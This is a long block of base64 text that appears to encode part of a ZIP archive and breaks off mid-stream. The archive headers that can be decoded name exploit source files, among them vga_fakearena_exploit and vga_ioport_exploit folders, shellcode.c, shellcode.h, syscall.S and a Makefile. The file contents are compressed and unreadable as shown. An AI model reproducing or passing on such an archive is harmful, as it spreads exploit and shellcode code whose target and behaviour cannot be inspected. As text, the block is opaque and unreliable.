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 